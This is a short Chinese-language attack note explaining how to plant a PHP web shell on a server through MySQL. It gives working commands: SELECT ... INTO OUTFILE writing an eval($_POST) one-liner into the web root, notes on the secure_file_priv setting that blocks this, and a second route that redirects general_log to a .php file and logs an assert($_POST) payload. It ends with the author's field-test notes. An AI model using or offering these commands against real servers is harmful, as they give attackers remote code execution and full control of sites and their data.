写入文件 1 - 简单的尝试
select '<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/phpStudy/WWW/cmd.php'
可能报错:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
在mysql中使用secure_file_priv配置项,对数据导入导出的限制。
导出数据表
把mydata.user表的数据导出来:
select * from mydata.user INTO OUTFILE '/home/mysql/user.txt';
mysql的官方:
--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory
限制导出导入文件到特定目录,其具体用法:
# 限制mysqld的导入和导出,完全禁止出。
mysqld --secure_file_prive=null
# 限制mysqld的导入和导出,只能在特定目录 /tmp/之下
mysqld --secure_file_priv=/tmp/
# 不限制mysqld的导入和导出
在文件/etc/my.cnf中不写 --secure_file_priv
写入文件 2 - 通过general_log和general_log_file
--secure-file-priv
general log简介:
mysql:打开general log选项,所有的查询语句都在general log文件中以可读的方式得到
(这样general log文件会非常大,所以默认是关闭的!有的时候为了查错等原因,会暂时打开general log)
即general_log_file会记录所有的查询语句,以原始的状态来显示。
写入原理:
将general_log开关打开,语句指定general_log_file为1.php文件,则查询语句的结果 全部写入到general_log_file指定的文件1.php
执行语句:
# 查看genera文件配置情况
show global variables like "%genera%";
#查看有读写权限的目录
show global variables like ‘%secure%’;
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
SELECT '<?php assert($_POST["cmd"]);?>';
大部分都好用
有一次实测失败了:general_log 可写到目录home或tmp 但web根目录写不了
尝试写web目录的子目录(比如img. upload)
改了log file路径之后 general log就神奇般的自动从ON变为OFF了
再改回ON,下面的log路径就自动变回去。
# 关闭general_log
set global general_log=off;